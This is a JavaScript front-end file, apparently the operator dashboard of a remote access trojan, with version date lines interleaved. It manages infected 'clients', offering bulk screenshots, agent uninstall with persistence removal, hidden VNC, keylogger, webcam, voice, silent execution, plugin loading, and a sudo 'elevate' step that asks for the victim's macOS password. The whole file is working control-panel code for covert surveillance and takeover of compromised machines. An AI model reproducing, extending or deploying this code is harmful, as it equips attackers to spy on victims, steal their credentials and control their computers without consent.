if ( ! checkbox ) return ;
if ( checkbox . checked ) {
selectedClients . add ( clientId );
} else {
selectedClients . delete ( clientId );
}
updateBulkToolbar ();
}
function syncSelectionState () {
document . querySelectorAll ( ".client-checkbox" ). forEach (( cb ) => {
const id = cb . dataset . id ;
if ( ! id ) return ;
cb . checked = selectedClients . has ( id );
});
updateBulkToolbar ();
}
bulkClearBtn ? . addEventListener ( "click" , () => {
selectedClients . clear ();
document
. querySelectorAll ( ".client-checkbox" )
. forEach (( cb ) => ( cb . checked = false ));
updateBulkToolbar ();
});
clearSelectionBtn ? . addEventListener ( "click" , () => {
selectedClients . clear ();
document
. querySelectorAll ( ".client-checkbox" )
. forEach (( cb ) => ( cb . checked = false ));
updateBulkToolbar ();
});
selectAllBtn ? . addEventListener ( "click" , () => {
document
. querySelectorAll ( ".client-checkbox:not(:disabled)" )
. forEach (( cb ) => {
cb . checked = true ;
if ( cb . dataset . id ) {
selectedClients . add ( cb . dataset . id );
}
});
updateBulkToolbar ();
});
bulkScreenshotBtn ? . addEventListener ( "click" , async () => {
if ( ! confirm ( `Take screenshot on ${ selectedClients . size } client(s)?` )) return ;
let success = 0 ;
for ( const clientId of selectedClients ) {
const ok = await sendCommand ( clientId , "screenshot" );
if ( ok ) success ++ ;
}
alert ( `Screenshots sent to ${ success } / ${ selectedClients . size } clients` );
selectedClients . clear ();
document
. querySelectorAll ( ".client-checkbox" )
. forEach (( cb ) => ( cb . checked = false ));
updateBulkToolbar ();
setTimeout (() => loadWithOptions ({ force : true }), 400 );
});
bulkDisconnectBtn ? . addEventListener ( "click" , async () => {
if (
! confirm (
`Disconnect ${ selectedClients . size } client(s)? This will close their connections.` ,
)
)
return ;
let success = 0 ;
for ( const clientId of selectedClients ) {
2026-04-13 20:02:58 -05:00
markManualDisconnect ( clientId );
2026-03-05 00:04:26 -06:00
const ok = await sendCommand ( clientId , "disconnect" );
if ( ok ) success ++ ;
}
alert ( `Disconnected ${ success } / ${ selectedClients . size } clients` );
selectedClients . clear ();
document
. querySelectorAll ( ".client-checkbox" )
. forEach (( cb ) => ( cb . checked = false ));
updateBulkToolbar ();
setTimeout (() => loadWithOptions ({ force : true }), 1000 );
});
bulkUninstallBtn ? . addEventListener ( "click" , async () => {
if (
! confirm (
`Uninstall agent from ${ selectedClients . size } client(s)?\n\nThis will remove all persistence mechanisms and terminate the agents. This action cannot be undone.` ,
)
)
return ;
let success = 0 ;
for ( const clientId of selectedClients ) {
const ok = await sendCommand ( clientId , "uninstall" );
if ( ok ) success ++ ;
}
alert ( `Uninstall sent to ${ success } / ${ selectedClients . size } clients` );
selectedClients . clear ();
document
. querySelectorAll ( ".client-checkbox" )
. forEach (( cb ) => ( cb . checked = false ));
updateBulkToolbar ();
setTimeout (() => loadWithOptions ({ force : true }), 1000 );
});
2026-04-14 21:56:18 -05:00
bulkGroupBtn ? . addEventListener ( "click" , () => {
if ( selectedClients . size === 0 ) return ;
openBulkGroupPicker ([... selectedClients ]);
});
2026-05-15 18:29:25 -05:00
async function bulkSetMuted ( muted ) {
if ( selectedClients . size === 0 ) return ;
const ids = [... selectedClients ];
try {
const res = await fetch ( "/api/clients/bulk-notifications-muted" , {
method : "PATCH" ,
headers : { "Content-Type" : "application/json" },
body : JSON . stringify ({ clientIds : ids , muted }),
});
if ( ! res . ok ) {
const data = await res . json (). catch (() => ({}));
alert ( data . error || "Failed to update notifications mute state" );
return ;
}
const data = await res . json (). catch (() => ({}));
const action = muted ? "Muted" : "Unmuted" ;
alert ( ` ${ action } notifications for ${ data . updated ?? 0 } / ${ ids . length } clients` );
} catch ( err ) {
console . error ( err );
alert ( "Failed to update notifications mute state" );
return ;
}
selectedClients . clear ();
document
. querySelectorAll ( ".client-checkbox" )
. forEach (( cb ) => ( cb . checked = false ));
updateBulkToolbar ();
setTimeout (() => loadWithOptions ({ force : true }), 200 );
}
bulkMuteBtn ? . addEventListener ( "click" , () => bulkSetMuted ( true ));
bulkUnmuteBtn ? . addEventListener ( "click" , () => bulkSetMuted ( false ));
2026-04-14 21:56:18 -05:00
async function openBulkGroupPicker ( clientIds ) {
const groups = await loadGroups ();
const overlay = document . createElement ( "div" );
overlay . className = "fixed inset-0 z-[10000] flex items-center justify-center bg-black/60" ;
overlay . addEventListener ( "click" , ( e ) => { if ( e . target === overlay ) overlay . remove (); });
const modal = document . createElement ( "div" );
modal . className = "bg-slate-900 border border-slate-700 rounded-xl shadow-2xl p-6 w-[400px] max-h-[80vh] flex flex-col gap-4" ;
modal . innerHTML = `
<h3 class="text-lg font-semibold text-slate-100 flex items-center gap-2"><i class="fa-solid fa-layer-group text-blue-400"></i> Set Group for ${ clientIds . length } client(s)</h3>
<div class="bulk-group-list flex flex-col gap-1 overflow-y-auto max-h-60"></div>
<div class="border-t border-slate-700 pt-3">
<p class="text-xs text-slate-400 mb-2">Create new group</p>
<div class="flex gap-2">
<input type="text" class="group-new-name flex-1 bg-slate-800 border border-slate-700 rounded-lg px-3 py-2 text-sm text-slate-100 outline-none focus:border-blue-500" placeholder="Group name" maxlength="64" />
<input type="color" class="group-new-color w-10 h-10 rounded-lg border border-slate-700 bg-slate-800 cursor-pointer" value="#3b82f6" />
<button class="group-create-btn px-3 py-2 rounded-lg bg-blue-600 hover:bg-blue-500 text-white text-sm font-medium">Create</button>
</div>
</div>
` ;
const listEl = modal . querySelector ( ".bulk-group-list" );
async function applyGroup ( groupId ) {
overlay . remove ();
try {
const res = await fetch ( "/api/clients/bulk-group" , {
method : "PATCH" ,
headers : { "Content-Type" : "application/json" },
body : JSON . stringify ({ clientIds , groupId }),
});
if ( ! res . ok ) {
const d = await res . json (). catch (() => ({}));
alert ( d . error || "Failed to set group" );
return ;
}
} catch ( err ) {
console . error ( err );
alert ( "Failed to set group" );
return ;
}
selectedClients . clear ();
document . querySelectorAll ( ".client-checkbox" ). forEach (( cb ) => ( cb . checked = false ));
updateBulkToolbar ();
refreshGroupFilter ();
setTimeout (() => loadWithOptions ({ force : true }), 200 );
}
function renderList () {
listEl . innerHTML = "" ;
const noneBtn = document . createElement ( "button" );
noneBtn . className = "w-full text-left px-3 py-2 rounded-lg text-sm flex items-center gap-2 transition-colors text-slate-300 hover:bg-slate-800" ;
noneBtn . innerHTML = '<i class="fa-solid fa-xmark text-slate-500"></i> No Group' ;
noneBtn . addEventListener ( "click" , () => applyGroup ( null ));
listEl . appendChild ( noneBtn );
groups . forEach (( g ) => {
const btn = document . createElement ( "button" );
btn . className = "w-full text-left px-3 py-2 rounded-lg text-sm flex items-center gap-2 transition-colors text-slate-300 hover:bg-slate-800" ;
btn . innerHTML = `<span class="inline-block w-3 h-3 rounded-full flex-shrink-0" style="background: ${ g . color } "></span> ${ escapeHtml ( g . name ) } ` ;
btn . addEventListener ( "click" , () => applyGroup ( g . id ));
listEl . appendChild ( btn );
});
}
renderList ();
const createBtn = modal . querySelector ( ".group-create-btn" );
createBtn . addEventListener ( "click" , async () => {
const nameInput = modal . querySelector ( ".group-new-name" );
const colorInput = modal . querySelector ( ".group-new-color" );
const name = nameInput . value . trim ();
const color = colorInput . value ;
if ( ! name ) { nameInput . focus (); return ; }
try {
const res = await fetch ( "/api/groups" , {
method : "POST" ,
headers : { "Content-Type" : "application/json" },
body : JSON . stringify ({ name , color }),
});
if ( ! res . ok ) {
const d = await res . json (). catch (() => ({}));
alert ( d . error || "Failed to create group" );
return ;
}
const newGroup = await res . json ();
groups . push ( newGroup );
nameInput . value = "" ;
renderList ();
refreshGroupFilter ();
} catch ( err ) {
console . error ( err );
alert ( "Failed to create group" );
}
});
overlay . appendChild ( modal );
document . body . appendChild ( overlay );
modal . querySelector ( ".group-new-name" ). addEventListener ( "keydown" , ( e ) => {
if ( e . key === "Enter" ) createBtn . click ();
});
}
2026-03-05 00:04:26 -06:00
window . toggleClientSelection = toggleClientSelection ;
window . isClientSelected = ( clientId ) => selectedClients . has ( clientId );
window . syncClientSelection = syncSelectionState ;
2026-03-06 12:43:42 -06:00
window . removeClientFromDashboard = async ( clientId ) => {
if ( ! clientId ) return false ;
try {
const res = await fetch ( `/api/clients/ ${ clientId } ` , {
method : "DELETE" ,
headers : { "Content-Type" : "application/json" },
});
if ( ! res . ok ) {
const data = await res . json (). catch (() => ({}));
alert ( data . error || "Failed to remove client from dashboard" );
return false ;
}
selectedClients . delete ( clientId );
return true ;
} catch ( err ) {
console . error ( err );
alert ( "Failed to remove client from dashboard" );
return false ;
}
};
2026-03-10 19:30:51 -05:00
window . setClientNickname = async ( clientId , nickname ) => {
if ( ! clientId ) return false ;
try {
const res = await fetch ( `/api/clients/ ${ clientId } /nickname` , {
method : "PATCH" ,
headers : { "Content-Type" : "application/json" },
body : JSON . stringify ({ nickname : nickname || "" }),
});
if ( ! res . ok ) {
const data = await res . json (). catch (() => ({}));
alert ( data . error || "Failed to update client nickname" );
return false ;
}
return true ;
} catch ( err ) {
console . error ( err );
alert ( "Failed to update client nickname" );
return false ;
}
};
2026-03-13 23:46:42 -05:00
window . setClientTag = async ( clientId , tag , note ) => {
if ( ! clientId ) return false ;
try {
const res = await fetch ( `/api/clients/ ${ clientId } /tag` , {
method : "PATCH" ,
headers : { "Content-Type" : "application/json" },
body : JSON . stringify ({ tag : tag || "" , note : note ?? "" }),
});
if ( ! res . ok ) {
const data = await res . json (). catch (() => ({}));
alert ( data . error || "Failed to update custom tag" );
return false ;
}
return true ;
} catch ( err ) {
console . error ( err );
alert ( "Failed to update custom tag" );
return false ;
}
};
2026-05-15 18:29:25 -05:00
window . setClientNotificationsMuted = async ( clientId , muted ) => {
if ( ! clientId ) return false ;
try {
const res = await fetch ( `/api/clients/ ${ clientId } /notifications-muted` , {
method : "PATCH" ,
headers : { "Content-Type" : "application/json" },
body : JSON . stringify ({ muted : !! muted }),
});
if ( ! res . ok ) {
const data = await res . json (). catch (() => ({}));
alert ( data . error || "Failed to update notification mute state" );
return false ;
}
return true ;
} catch ( err ) {
console . error ( err );
alert ( "Failed to update notification mute state" );
return false ;
}
};
2026-04-14 19:38:27 -05:00
window . setClientGroup = async ( clientId , groupId ) => {
if ( ! clientId ) return false ;
try {
const res = await fetch ( `/api/clients/ ${ clientId } /group` , {
method : "PATCH" ,
headers : { "Content-Type" : "application/json" },
body : JSON . stringify ({ groupId }),
});
if ( ! res . ok ) {
const data = await res . json (). catch (() => ({}));
alert ( data . error || "Failed to update client group" );
return false ;
}
return true ;
} catch ( err ) {
console . error ( err );
alert ( "Failed to update client group" );
return false ;
}
};
async function loadGroups () {
try {
const res = await fetch ( "/api/groups" );
if ( ! res . ok ) return [];
const data = await res . json ();
return data . groups || [];
} catch { return []; }
}
async function refreshGroupFilter () {
const groups = await loadGroups ();
if ( ! filterGroupSelect ) return groups ;
const current = filterGroupSelect . value ;
filterGroupSelect . innerHTML = '<option value="all">All Groups</option><option value="none">No Group</option>' ;
groups . forEach (( g ) => {
const opt = document . createElement ( "option" );
opt . value = String ( g . id );
opt . textContent = g . name ;
opt . style . color = g . color ;
filterGroupSelect . appendChild ( opt );
});
filterGroupSelect . value = current ;
return groups ;
}
async function openGroupPicker ( clientId ) {
const groups = await loadGroups ();
const card = getClientCard ( clientId );
const currentGroupId = card ? . dataset . groupId || "" ;
const overlay = document . createElement ( "div" );
overlay . className = "fixed inset-0 z-[10000] flex items-center justify-center bg-black/60" ;
overlay . addEventListener ( "click" , ( e ) => { if ( e . target === overlay ) overlay . remove (); });
const modal = document . createElement ( "div" );
modal . className = "bg-slate-900 border border-slate-700 rounded-xl shadow-2xl p-6 w-[400px] max-h-[80vh] flex flex-col gap-4" ;
modal . innerHTML = `
<h3 class="text-lg font-semibold text-slate-100 flex items-center gap-2"><i class="fa-solid fa-layer-group text-blue-400"></i> Set Group</h3>
<div class="group-picker-list flex flex-col gap-1 overflow-y-auto max-h-60"></div>
<div class="border-t border-slate-700 pt-3">
<p class="text-xs text-slate-400 mb-2">Create new group</p>
<div class="flex gap-2">
<input type="text" class="group-new-name flex-1 bg-slate-800 border border-slate-700 rounded-lg px-3 py-2 text-sm text-slate-100 outline-none focus:border-blue-500" placeholder="Group name" maxlength="64" />
<input type="color" class="group-new-color w-10 h-10 rounded-lg border border-slate-700 bg-slate-800 cursor-pointer" value="#3b82f6" />
<button class="group-create-btn px-3 py-2 rounded-lg bg-blue-600 hover:bg-blue-500 text-white text-sm font-medium">Create</button>
</div>
</div>
` ;
const listEl = modal . querySelector ( ".group-picker-list" );
function renderList () {
listEl . innerHTML = "" ;
const noneBtn = document . createElement ( "button" );
noneBtn . className = `w-full text-left px-3 py-2 rounded-lg text-sm flex items-center gap-2 transition-colors ${ ! currentGroupId ? "bg-slate-700 text-white" : "text-slate-300 hover:bg-slate-800" } ` ;
noneBtn . innerHTML = '<i class="fa-solid fa-xmark text-slate-500"></i> No Group' ;
noneBtn . addEventListener ( "click" , async () => {
const ok = await window . setClientGroup ( clientId , null );
if ( ok ) setTimeout (() => loadWithOptions ({ force : true }), 200 );
overlay . remove ();
});
listEl . appendChild ( noneBtn );
groups . forEach (( g ) => {
const btn = document . createElement ( "button" );
const isActive = String ( g . id ) === currentGroupId ;
btn . className = `w-full text-left px-3 py-2 rounded-lg text-sm flex items-center gap-2 transition-colors ${ isActive ? "bg-slate-700 text-white" : "text-slate-300 hover:bg-slate-800" } ` ;
btn . innerHTML = `<span class="inline-block w-3 h-3 rounded-full flex-shrink-0" style="background: ${ g . color } "></span> ${ escapeHtml ( g . name ) } ` ;
btn . addEventListener ( "click" , async () => {
const ok = await window . setClientGroup ( clientId , g . id );
if ( ok ) setTimeout (() => loadWithOptions ({ force : true }), 200 );
overlay . remove ();
});
listEl . appendChild ( btn );
});
}
renderList ();
const createBtn = modal . querySelector ( ".group-create-btn" );
createBtn . addEventListener ( "click" , async () => {
const nameInput = modal . querySelector ( ".group-new-name" );
const colorInput = modal . querySelector ( ".group-new-color" );
const name = nameInput . value . trim ();
const color = colorInput . value ;
if ( ! name ) { nameInput . focus (); return ; }
try {
const res = await fetch ( "/api/groups" , {
method : "POST" ,
headers : { "Content-Type" : "application/json" },
body : JSON . stringify ({ name , color }),
});
if ( ! res . ok ) {
const d = await res . json (). catch (() => ({}));
alert ( d . error || "Failed to create group" );
return ;
}
const newGroup = await res . json ();
groups . push ( newGroup );
nameInput . value = "" ;
renderList ();
refreshGroupFilter ();
} catch ( err ) {
console . error ( err );
alert ( "Failed to create group" );
}
});
overlay . appendChild ( modal );
document . body . appendChild ( overlay );
modal . querySelector ( ".group-new-name" ). addEventListener ( "keydown" , ( e ) => {
if ( e . key === "Enter" ) createBtn . click ();
});
}
function escapeHtml ( text ) {
const div = document . createElement ( "div" );
div . textContent = text ;
return div . innerHTML ;
}
2026-03-05 00:04:26 -06:00
window . banClient = async ( clientId ) => {
if ( ! clientId ) return ;
if ( ! confirm ( `Ban IP for ${ clientId } and block future connections?` )) return ;
try {
const res = await fetch ( `/api/clients/ ${ clientId } /ban` , {
method : "POST" ,
headers : { "Content-Type" : "application/json" },
});
if ( ! res . ok ) {
const data = await res . json (). catch (() => ({}));
alert ( data . error || "Failed to ban client IP" );
return ;
}
const data = await res . json (). catch (() => ({}));
alert ( `Banned IP ${ data . ip || "" } ` . trim ());
setTimeout (() => loadWithOptions ({ force : true }), 400 );
} catch ( err ) {
console . error ( err );
alert ( "Failed to ban client IP" );
}
};
prevBtn ? . addEventListener ( "click" , () => {
if ( state . page > 1 ) {
state . page -= 1 ;
state . lastDigest = "" ;
2026-03-17 00:42:57 -05:00
loadWithOptions ({ force : true , reorder : true });
2026-03-05 00:04:26 -06:00
}
});
nextBtn ? . addEventListener ( "click" , () => {
state . page += 1 ;
state . lastDigest = "" ;
2026-03-17 00:42:57 -05:00
loadWithOptions ({ force : true , reorder : true });
2026-03-05 00:04:26 -06:00
});
window . addEventListener ( "click" , ( e ) => {
const target = e . target ;
if ( target . closest && target . closest ( ".command-btn" )) return ;
if ( target . closest && target . closest ( ".modal" )) return ;
if ( menu . contains ( target )) return ;
closeMenu ( clearContext );
});
menu . addEventListener ( "click" , async ( e ) => {
const target = e . target . closest ( "button" );
if ( ! target || ! contextCard ) return ;
2026-03-12 14:22:03 -05:00
if ( target . dataset . groupToggle ) return ;
2026-03-06 18:32:16 -06:00
if ( target . disabled || target . getAttribute ( "aria-disabled" ) === "true" ) {
return ;
}
2026-03-05 00:04:26 -06:00
const pluginId = target . dataset . plugin ;
if ( pluginId ) {
2026-04-14 09:56:20 -05:00
const savedClientId = contextCard ;
2026-03-05 00:04:26 -06:00
try {
2026-04-14 09:56:20 -05:00
const res = await fetch ( `/api/clients/ ${ savedClientId } /plugins/ ${ pluginId } /load` , {
2026-03-05 00:04:26 -06:00
method : "POST" ,
2026-04-14 09:56:20 -05:00
headers : { "Content-Type" : "application/json" },
body : JSON . stringify ({}),
2026-03-05 00:04:26 -06:00
});
2026-04-14 09:56:20 -05:00
if ( res . status === 428 ) {
const data = await res . json ();
closeMenu ( clearContext );
showPluginConfirmModal ( pluginId , savedClientId , data . signature );
return ;
}
if ( res . status === 403 ) {
const data = await res . json ();
alert ( data . error || "Plugin load blocked — invalid signature" );
closeMenu ( clearContext );
return ;
}
2026-03-05 00:04:26 -06:00
if ( ! res . ok ) {
const text = await res . text ();
alert ( `Plugin load failed: ${ text } ` );
closeMenu ( clearContext );
return ;
}
2026-04-14 09:56:20 -05:00
window . open ( `/plugins/ ${ pluginId } ?clientId= ${ savedClientId } ` , "_blank" , "noopener" );
2026-03-05 00:04:26 -06:00
} catch ( err ) {
alert ( "Plugin load failed" );
}
closeMenu ( clearContext );
return ;
}
const unloadId = target . dataset . pluginUnload ;
if ( unloadId ) {
await fetch ( `/api/clients/ ${ contextCard } /plugins/ ${ unloadId } /unload` , {
method : "POST" ,
});
closeMenu ( clearContext );
return ;
}
const open = target . dataset . open ;
if ( open === "console" ) {
window . open ( `/ ${ contextCard } /console` , "_blank" , "noopener" );
closeMenu ( clearContext );
return ;
}
if ( open === "remotedesktop" ) {
window . open ( `/remotedesktop?clientId= ${ contextCard } ` , "_blank" , "noopener" );
closeMenu ( clearContext );
return ;
}
2026-03-08 22:31:11 -05:00
if ( open === "webcam" ) {
window . open ( `/webcam?clientId= ${ contextCard } ` , "_blank" , "noopener" );
closeMenu ( clearContext );
return ;
}
2026-03-12 14:22:03 -05:00
if ( open === "Backstage" ) {
2026-03-05 00:04:26 -06:00
window . open ( `/hvnc?clientId= ${ contextCard } ` , "_blank" , "noopener" );
closeMenu ( clearContext );
return ;
}
if ( open === "files" ) {
2026-03-06 18:32:16 -06:00
const platform = detectClientPlatform ( contextCard );
if ( platform !== "windows" ) {
const proceed = confirm (
"Opening File Browser may show a permission prompt to the target user on their machine. Continue?" ,
);
if ( ! proceed ) {
closeMenu ( clearContext );
return ;
}
}
2026-03-05 00:04:26 -06:00
window . open ( `/ ${ contextCard } /files` , "_blank" , "noopener" );
closeMenu ( clearContext );
return ;
}
if ( open === "processes" ) {
window . open ( `/ ${ contextCard } /processes` , "_blank" , "noopener" );
closeMenu ( clearContext );
return ;
}
if ( open === "keylogger" ) {
window . open ( `/ ${ contextCard } /keylogger` , "_blank" , "noopener" );
closeMenu ( clearContext );
return ;
}
if ( open === "silent-exec" ) {
window . open ( `/deploy?clientId= ${ contextCard } ` , "_blank" , "noopener" );
closeMenu ( clearContext );
return ;
}
2026-03-29 00:46:18 -05:00
if ( open === "winre" ) {
window . open ( `/winre?clientId= ${ contextCard } ` , "_blank" , "noopener" );
closeMenu ( clearContext );
return ;
}
2026-03-05 00:04:26 -06:00
const action = target . dataset . action ;
2026-03-07 23:27:57 -06:00
if ( open === "voice" ) {
window . open ( `/voice?clientId= ${ contextCard } ` , "_blank" , "noopener" );
closeMenu ( clearContext );
return ;
}
2026-03-05 00:04:26 -06:00
if ( action === "uninstall" ) {
if (
! confirm (
`Uninstall agent from ${ contextCard } ?\n\nThis will remove all persistence mechanisms and terminate the agent. This action cannot be undone.` ,
)
) {
closeMenu ( clearContext );
return ;
}
} else if ( action === "disconnect" ) {
if (
! confirm (
`Disconnect ${ contextCard } ?\n\nThis will terminate the agent connection.` ,
)
) {
closeMenu ( clearContext );
return ;
}
2026-03-06 12:43:42 -06:00
} else if ( action === "remove-dashboard" ) {
if (
! confirm (
`Remove ${ contextCard } from the dashboard list?\n\nUse this for stale clients that are already gone. If that client reconnects later, it will appear again.` ,
)
) {
closeMenu ( clearContext );
return ;
}
const removed = await window . removeClientFromDashboard ( contextCard );
if ( removed ) {
updateBulkToolbar ();
setTimeout (() => loadWithOptions ({ force : true }), 200 );
}
closeMenu ( clearContext );
return ;
2026-03-10 19:30:51 -05:00
} else if ( action === "set-nickname" ) {
const card = getClientCard ( contextCard );
const currentNickname = ( card ? . dataset . nickname || "" ). trim ();
const input = prompt (
`Set nickname for ${ contextCard } \n\nLeave blank to clear nickname.` ,
currentNickname ,
);
if ( input === null ) {
closeMenu ( clearContext );
return ;
}
const trimmed = input . trim ();
const updated = await window . setClientNickname ( contextCard , trimmed || null );
if ( updated ) {
setTimeout (() => loadWithOptions ({ force : true }), 200 );
}
closeMenu ( clearContext );
return ;
2026-03-13 23:46:42 -05:00
} else if ( action === "set-custom-tag" ) {
const card = getClientCard ( contextCard );
const currentTag = ( card ? . dataset . customTag || "" ). trim ();
const currentNote = card ? . _customTagNote || "" ;
const result = await openTagNoteEditor ( contextCard , currentTag , currentNote );
if ( ! result ) {
closeMenu ( clearContext );
return ;
}
const updated = await window . setClientTag (
contextCard ,
result . tag || "" ,
result . note || "" ,
);
if ( updated ) {
setTimeout (() => loadWithOptions ({ force : true }), 200 );
}
closeMenu ( clearContext );
return ;
2026-04-14 19:38:27 -05:00
} else if ( action === "set-group" ) {
const savedClientId = contextCard ;
closeMenu ( clearContext );
openGroupPicker ( savedClientId );
return ;
2026-05-15 18:29:25 -05:00
} else if ( action === "toggle-mute" ) {
const card = getClientCard ( contextCard );
const currentlyMuted = card ? . dataset . notificationsMuted === "true" ;
const ok = await window . setClientNotificationsMuted ( contextCard , ! currentlyMuted );
if ( ok ) setTimeout (() => loadWithOptions ({ force : true }), 200 );
closeMenu ( clearContext );
return ;
2026-03-10 19:30:51 -05:00
}
if ( ! isClientOnline ( contextCard )) {
alert ( "Client is offline. This command can only be used while the client is online." );
closeMenu ( clearContext );
return ;
2026-03-05 00:04:26 -06:00
}
2026-04-13 10:49:36 -05:00
if ( action === "elevate" ) {
const password = prompt ( "Enter the user's macOS password for sudo elevation:" );
if ( ! password ) {
closeMenu ( clearContext );
return ;
}
try {
const res = await fetch ( `/api/clients/ ${ contextCard } /command` , {
method : "POST" ,
headers : { "Content-Type" : "application/json" },
body : JSON . stringify ({ action : "elevate" , password }),
});
const data = await res . json (). catch (() => ({}));
if ( data . ok ) {
alert ( data . message || "Elevation successful — client will reconnect as root." );
2026-04-13 13:38:13 -05:00
// Stagger thumbnail requests to catch the client after it reconnects
setTimeout (() => requestThumbnail ( contextCard ), 5000 );
setTimeout (() => requestThumbnail ( contextCard ), 10000 );
setTimeout (() => requestThumbnail ( contextCard ), 18000 );
2026-04-13 10:49:36 -05:00
} else {
alert ( data . error || data . message || "Elevation failed." );
}
} catch ( err ) {
alert ( "Elevation request failed: " + err . message );
}
closeMenu ( clearContext );
2026-04-13 13:38:13 -05:00
setTimeout (() => loadWithOptions ({ force : true }), 5000 );
2026-04-13 10:49:36 -05:00
return ;
}
2026-04-13 20:02:58 -05:00
if ( action === "disconnect" ) {
markManualDisconnect ( contextCard );
}
2026-05-08 22:55:41 -05:00
if ( action === "uninstall" ) {
flipFallAndRemove ( contextCard );
}
2026-03-05 00:04:26 -06:00
const ok = await sendCommand ( contextCard , action );
if ( ok ) {
2026-05-08 22:55:41 -05:00
// Wait for the flip-fall to finish before refreshing the grid, otherwise
// the reload would yank the animating card from layout.
const refreshDelay = action === "uninstall" ? 1300 : 400 ;
setTimeout (() => loadWithOptions ({ force : true }), refreshDelay );
2026-03-05 00:04:26 -06:00
}
closeMenu ( clearContext );
});
loadCurrentUser ();
2026-04-18 01:00:14 -05:00
// console easter egg
( function () {
const consoleimg = {
load : function ( src , { size = 320 , color = "transparent" } = {}) {
const reader = new FileReader ();
reader . addEventListener ( "load" , function () {
const style =
"background: url('" + reader . result + "') left top no-repeat; font-size: " +
size +
"px; background-size: contain; background-color:" +
color ;
console . log ( "%c " , style );
}, false );
fetch ( src )
. then (( r ) => r . blob ())
. then (( blob ) => {
if ( blob . type . indexOf ( "image" ) === 0 ) {
if ( blob . size > 8192 && navigator . userAgent . indexOf ( "Firefox" ) > 0 )
throw new Error ( "Image size too big to be displayed in Firefox." );
return blob ;
}
throw new Error ( "Valid image not found." );
})
. then (( blob ) => reader . readAsDataURL ( blob ))
. catch (( err ) => console . warn ( err . message ));
},
};
consoleimg . load ( "/assets/console.gif" , { size : 320 , color : "transparent" });
})();